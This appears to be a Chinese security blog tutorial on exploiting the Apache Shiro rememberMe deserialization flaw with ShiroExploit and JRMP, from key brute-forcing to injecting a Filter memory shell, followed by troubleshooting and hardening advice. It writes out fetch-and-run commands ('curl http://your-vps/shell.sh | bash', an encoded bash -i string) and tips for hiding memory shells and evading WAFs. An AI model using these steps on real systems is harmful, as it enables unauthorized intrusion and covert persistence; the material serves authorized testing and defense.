Shiro反序列化漏洞实战:从自动化探测到内存马注入的完整攻防解析
1. 项目概述与核心价值最近在安全测试和应急响应中Shiro框架的反序列化漏洞依然是绕不开的老朋友。虽然这个洞已经出来好几年了但很多老旧系统、内网应用依然存在而且利用方式也在不断“进化”。今天想和大家深入聊聊的不是简单的利用而是一个更贴近实战的自动化流程如何利用ShiroExploit这类工具高效地完成从漏洞探测、JRMP服务端搭建、一键getshell到最终植入内存马实现持久化的完整链条。这个流程的价值在于它将原本需要手动拼接多个工具、记忆复杂命令的繁琐过程整合成了一个相对连贯的操作。对于安全工程师来说这意味着在红队评估或授权测试中能更快地验证漏洞危害、获取立足点对于蓝队和研发人员理解这个链条的每一步则能更好地在代码层面、网络层面部署防御策略知道攻击者可能会从哪里下手。接下来我会结合自己的实操经验拆解这个链条中的每一个关键技术环节并分享一些工具使用之外的、真正影响成败的细节和避坑指南。2. 工具链核心ShiroExploit与JRMP协议解析2.1 ShiroExploit工具定位与工作原理ShiroExploit并不是一个单一的工具而是一个集成了多种攻击向量和利用链的综合性利用框架。它的核心价值在于“自动化”和“集成化”。传统手动利用Shiro550/721漏洞你需要自己构造RememberMe Cookie选择正确的密钥再搭配一个合适的利用链如CommonsCollections、CB等整个过程对新手极不友好。ShiroExploit把这些步骤都封装好了。它的工作原理可以概括为首先通过发送特制的请求包探测目标是否存在Shiro框架并尝试爆破或使用已知密钥。一旦确认密钥工具内部就预置了多种Gadget链利用链能够根据目标环境JDK版本、依赖库等自动选择或让用户选择最可能成功的一条。最关键的一步是它集成了通过JRMP协议进行远程类加载的能力这是实现“一键getshell”的桥梁。工具会自动在攻击机上启动一个恶意的JRMP服务端然后向目标发送一个特殊的反序列化载荷这个载荷会指示目标服务器向攻击机的JRMP服务端发起连接并加载执行服务端提供的恶意类。注意这里必须强调所有测试必须在获得明确书面授权的环境中进行。未经授权对任何系统进行漏洞扫描或攻击测试都是违法行为。2.2 JRMP协议在漏洞利用中的关键角色JRMPJava Remote Method Protocol是Java RMI远程方法调用的底层通信协议。在Shiro反序列化漏洞的利用中我们并不是直接利用RMI的功能而是“借用”了JRMP这个通信机制来实现一种更灵活的远程代码执行方式——动态类加载。其核心过程是这样的攻击端作为“恶意RMI注册中心”我们在自己的VPS或测试机上使用ysoserial等工具启动一个恶意的JRMP监听服务。这个服务扮演了一个“有毒的RMI注册中心”角色。构造“触发连接”的序列化对象我们构造一个特殊的Java对象当它在目标服务器上被反序列化时会执行一个动作向指定的IP:Port即我们启动的JRMP服务发起RMI连接。目标服务器主动“上门”加载恶意类目标服务器Shiro应用在反序列化我们的载荷后会主动连接到我们的JRMP服务端。在RMI通信中如果客户端需要调用一个服务端才有的类服务端可以告诉客户端“这个类的实现在我这里你可以从我这里下载加载。” 我们的恶意JRMP服务端正是利用这一点当目标连接过来时会告诉它“你需要执行的代码在这个类里比如是一个包含命令执行的类”并将这个恶意类的字节码传输给目标服务器。目标服务器执行恶意类目标服务器的ClassLoader会从攻击机的JRMP服务端加载这个恶意类并实例化、执行其中的代码从而完成命令执行。这种方式比直接发送一个完整的、包含执行代码的序列化对象如CommonsCollections链更稳定。因为直接发送的Gadget链可能受到目标JDK版本、依赖库版本的限制而失败。而JRMP利用的是更底层的RMI机制只要目标能出网连接我们的服务端成功率就高很多。这也是为什么ShiroExploit工具会将其作为主要的利用方式之一。3. 实战环境搭建与漏洞检测3.1 靶场环境快速搭建要复现和测试首先需要一个存在漏洞的Shiro环境。最快捷的方式是使用Docker。这里推荐一个常用的漏洞靶场镜像。# 拉取并运行一个包含Shiro 550漏洞的Docker环境 docker pull medicean/vulapps:s_shiro_1 docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1运行后访问http://your-ip:8080即可看到一个简单的Shiro应用。这个环境默认使用了已知的硬编码密钥kPHbIxk5D2deZiIxcaaaA非常适合用来验证工具和流程。除了Docker你也可以自己搭建一个简单的Spring Boot Shiro应用并在配置中启用RememberMe功能且使用一个已知的弱密钥。这对于理解漏洞原理更有帮助。3.2 使用ShiroExploit进行自动化检测与密钥爆破拿到目标地址后例如http://192.168.1.100:8080我们就可以启动ShiroExploit。以图形化版本为例操作界面通常比较直观。输入目标URL在工具的目标地址栏填入http://192.168.1.100:8080。选择检测模式工具一般提供“检测”和“利用”两个主要模块。我们先点击“检测”。分析结果工具会发送探测请求并返回结果。关键信息包括是否使用Shiro框架通过检查返回的Cookie中是否有rememberMedeleteMe等特征来判断。密钥爆破结果工具内置了一个常见的密钥字典如Shiro-1.2.4版本的硬编码密钥、常见弱密钥等。它会自动用这些密钥去尝试加密解密一个特征值。如果成功会显示“Found rememberMe key: kPHbIxk5D2deZiIxcaaaA”。可用的Gadget链工具可能会尝试几种常见的链如CC链、CB链并报告哪些链在目标环境下可能可用。这个过程完全自动化省去了手动编写Python脚本进行爆破的麻烦。如果工具没有爆破出密钥你可能需要手动扩大密钥字典或者考虑是否存在Shiro 721漏洞需要Padding Oracle攻击。实操心得在实际的内网测试中很多系统会修改默认的/login路径。ShiroExploit通常支持指定检测的URI。如果默认检测失败可以尝试将URI改为/admin/login、/api/auth等常见后台登录路径。此外如果目标站点使用了HTTPS请确保工具支持或你正确配置了代理。4. 一键GetshellJRMP利用详解4.1 配置与启动恶意JRMP服务端检测到密钥后就进入了利用阶段。在ShiroExploit的“利用”模块选择“JRMP”相关的利用链如JRMPClient。设置监听参数JRMP监听IP填写你攻击机的IP地址。如果目标在内网你需要一个能与之互通的IP如VPN接入后的内网IP或公网VPS的IP。JRMP监听端口选择一个未被占用的端口例如9999。Payload类型这是核心。你需要指定JRMP服务端被连接后要提供给目标加载的恶意类是什么。通常选择CommonsCollections2、CommonsBeanutils1等与命令执行相关的链。但注意这里选择的链是最终在目标上执行的链而触发JRMP连接本身用的是JRMPClient链。生成Payload工具会根据你的配置生成一个经过加密的rememberMeCookie值。这个Cookie里封装的就是一个JRMPClient对象其参数指向你设置的IP:9999。启动JRMP服务在点击“攻击”或“利用”按钮时ShiroExploit会在后台自动调用ysoserial在你的攻击机上启动一个监听在9999端口的JRMP服务。这个服务已经“装载”了你上一步选择的命令执行Payload例如CommonsCollections2链链里包含了你要执行的命令如curl http://your-vps/shell.sh | bash。4.2 漏洞利用过程全解析当你在工具界面点击“执行”后一个完整的攻击流程在后台发生发送恶意Cookie工具将生成的rememberMe加密后的JRMPClient对象的Cookie发送给目标Shiro应用的登录接口或其他任何Shiro拦截的接口。目标反序列化触发Shiro框架接收到请求发现rememberMeCookie于是使用我们爆破出的密钥进行解密。解密后的数据被反序列化还原成一个JRMPClient对象。目标发起JRMP连接在JRMPClient对象的反序列化过程中其readObject方法被执行该方法会向配置好的地址你的IP:9999发起一个RMI连接。动态类加载与命令执行目标服务器连接到你的JRMP服务端。在RMI通信中客户端目标服务器会向服务端你的攻击机查询某个对象。你的恶意JRMP服务端回应说“这个对象在这里它的类定义你也需要下载。” 随后服务端将包含命令执行代码的恶意类即你之前配置的CommonsCollections2等Gadget的字节码传输给目标服务器。目标加载并执行目标服务器的ClassLoader从网络加载了这个恶意类接着在反序列化流程中这个类的readObject或类似方法被调用其中嵌入的命令如反弹Shell、下载文件得以执行。至此如果网络连通且环境兼容你就成功在目标服务器上执行了系统命令实现了“getshell”。工具通常会回显命令执行的结果。5. 权限维持进阶内存马注入技巧通过JRMP拿到命令执行权限可能只是一个临时进程。一旦目标Java应用重启权限就丢失了。因此在实战中权限维持持久化是至关重要的一环。内存马Memory Shell是当前最流行的Web应用层持久化手段它不落盘直接驻留在Java应用的内存中难以被传统杀毒软件或文件监控发现。5.1 内存马原理与类型选择内存马的本质是向运行的Java Web容器如Tomcat、Spring Boot内嵌容器中动态注册一个新的Servlet、Filter、Controller或者Listener。这个新的组件被设计用来接收攻击者的特定请求并执行其携带的指令。常见的Java内存马类型有Servlet型注册一个路径特殊的Servlet。Filter型注册一个Filter它可以拦截所有请求对特定路径的请求进行处理。这是最常用、兼容性最好的类型。Controller型针对Spring MVC框架动态注册一个Controller。Interceptor型针对Spring框架注册拦截器。Listener型注册特定事件的监听器。对于Shiro环境由于Shiro本身是一个强大的安全框架它会管理所有Web请求的过滤链。因此注入一个Filter型内存马通常是最佳选择。我们需要注入的Filter要确保它能被Shiro的过滤器链ShiroFilterFactoryBean所管理或者巧妙地绕过它。5.2 通过JRMP注入Filter内存马我们之前用JRMP执行了系统命令现在我们可以通过命令执行来触发一个更复杂的过程注入内存马。但更优雅的方式是直接让JRMP服务端提供的恶意类就是一个专门用于注入内存马的类。准备内存马注入工具网络上有很多开源的内存马注入项目例如java-memshell-generator或一些综合利用工具中集成的模块。其核心是一个Java类这个类通过反射机制获取当前Web应用的上下文ServletContext然后找到Filter管理器FilterDef和FilterMap创建并添加一个恶意的Filter定义和映射。制作恶意类将这个内存马注入工具的类代码编译后放入一个HTTP服务器如Python的http.server可访问的目录。或者更集成化的方式你可以使用像Godzilla哥斯拉或Behinder冰蝎这类webshell管理工具的JSP版本它们的内存马注入功能已经非常成熟。你可以直接使用它们生成的JSP文件作为模板将其核心Java代码提取出来封装成一个独立的类。修改JRMP Payload在ShiroExploit中配置JRMP利用时不再使用简单的命令执行Payload如CommonsCollections2执行curl而是使用一个能加载远程类的Payload。例如可以使用URLClassLoader加载我们存放在HTTP服务器上的内存马注入类。命令可能类似于bash -c {echo,YmFzaCA...}|{base64,-d}|{bash,-i}但这个命令是加载一个Base64编码的、能下载并执行内存马注入类的脚本。更直接的方式是寻找或编写一个利用链它能直接通过JRMP协议加载并实例化我们提供的那个内存马注入类。执行与验证发送Payload后如果成功一个恶意的Filter就被注册到了应用中。例如这个Filter可能映射到/favicon.ico或/xxx.css这种看似正常的路径。攻击者访问这个路径并带上特定的密码参数就可以执行任意命令。核心技巧内存马注入的关键在于获取当前的ApplicationContext或ServletContext。在Spring Boot环境中可以通过org.springframework.web.context.ContextLoader.getCurrentWebApplicationContext()来获取。在纯Servlet环境中可以通过javax.servlet.Filter初始化参数获取。你的注入类代码必须处理好这些细节。5.3 内存马的隐蔽性与排查注入内存马是为了持久化因此隐蔽性很重要。路径选择不要使用/shell、/cmd这种明显路径。可以模仿静态资源路径如/static/../a.jpg或者利用正常业务接口的路径添加特制参数。密码学在内存马中实现简单的密码验证防止被他人偶然访问触发。流量加密使用冰蝎、哥斯拉这类工具其通信流量是加密的可以绕过简单的WAF或流量审计。从防御和蓝队视角排查内存马可以检查已注册的Filter编写一个特殊的Servlet或使用/proc/self/fd目录Linux间接查看列出所有Filter及其所属的类。对比正常基线查找陌生的Filter类名。检查JVM加载的类使用jmap -clstats pid或Arthas工具的sc命令查看所有已加载的类寻找可疑的类名。流量监控关注是否有对特定非常规路径的、带有长加密参数的请求且该请求的响应时间与普通请求不符因为执行了命令。终极手段重启应用服务。内存马的生命周期与应用进程绑定重启即清除但需要权衡业务影响。6. 常见问题、排查与防御加固6.1 利用过程中常见失败原因分析即使按照步骤操作利用过程也可能失败。以下是一些常见问题及排查思路问题现象可能原因排查思路工具检测不到Shiro1. 目标不是Shiro框架。2. 目标路径不是默认登录路径。3. 网络不通或存在WAF拦截探测包。1. 手动检查Cookie和响应头特征。2. 尝试使用目录扫描工具寻找登录页面。3. 使用BurpSuite重放请求观察拦截情况。密钥爆破失败1. 密钥不在内置字典中。2. 目标使用了随机生成的强密钥。3. 存在Shiro 721漏洞需要Padding Oracle攻击。1. 扩大密钥字典收集更多常见密钥。2. 考虑其他攻击面如文件上传、SSRF等。3. 使用专门的Shiro721检测工具。JRMP监听启动但目标未连接1. 目标服务器无法访问攻击机IP:Port出网限制。2. 防火墙或安全组策略阻止。3. 反序列化链JRMPClient在目标环境不兼容。1. 在目标服务器上尝试用telnet your-ip 9999测试连通性。2. 检查攻击机防火墙设置。3. 尝试ShiroExploit中的其他利用链如直接回显的链。目标已连接JRMP但未执行命令1. JRMP服务端提供的Gadget链如CC2在目标环境不兼容。2. 目标JDK版本过高8u121存在RMI反序列化限制。1. 在工具中切换不同的Payload类型如CC1, CB1等。2. 对于高版本JDK需要寻找绕过限制的利用链或尝试其他利用方式如Tomcat回显、本地文件写入Webshell。命令执行成功但无法注入内存马1. 内存马注入类的代码有误或依赖不满足。2. 获取ApplicationContext的方式不对。3. 目标容器的安全管理器SecurityManager限制了反射操作。1. 先在本地测试环境验证内存马注入类的有效性。2. 尝试使用更通用的、针对特定容器Tomcat的注入代码。3. 考虑使用写入文件型Webshell作为备用方案。6.2 针对性的防御与加固建议理解攻击是为了更好的防御。对于开发和运维人员可以从以下几个层面进行加固框架层面治本升级Shiro立即升级到最新安全版本至少1.7.0以上官方已修复了默认密钥和反序列化问题。更换密钥如果无法立即升级务必在配置中shiro.rememberMe.cipherKey属性里更换为一个高强度如AES-128的随机密钥并妥善保管。禁用RememberMe如果业务不需要此功能直接关闭它。代码层面反序列化过滤在项目中使用安全的反序列化库如SerialKiller或实现ObjectInputFilter来严格限制可反序列化的类。减少依赖检查并移除项目中不必要的、包含危险Gadget的第三方库如commons-collections的老版本。运行环境层面升级JDK使用最新版本的JDK如8u191以上并启用JEP 290等安全机制限制RMI、LDAP等远程加载行为。网络隔离严格限制生产环境服务器出网流量。即使存在反序列化漏洞无法连接外网JRMP服务端也会使此类攻击失效。使用WAF/RASP部署Web应用防火墙拦截恶意序列化数据。部署运行时应用自我保护产品能在Java虚拟机层面监控和阻断危险的反序列化、反射等操作。安全运维层面定期漏洞扫描使用IAST、SCA等工具对应用进行定期扫描及时发现组件漏洞。监控与告警监控服务器上是否存在异常的Java进程网络连接如连接不明IP的非常用端口。监控应用日志中是否存在大量的反序列化错误。应急响应建立内存马排查流程和工具包在发生安全事件时能快速定位和清除后门。整个从Shiro漏洞检测到内存马注入的过程体现了现代Web攻击的自动化、链条化特点。作为防御方绝不能只盯着一个点需要建立从代码开发、依赖管理、运行时防护到网络边界的纵深防御体系。而对于安全研究人员和工程师深入理解每一个环节的原理不仅能更有效地进行安全测试也能在设计防御方案时做到有的放矢。工具提升了效率但背后的原理和应对变化的思路才是更重要的价值。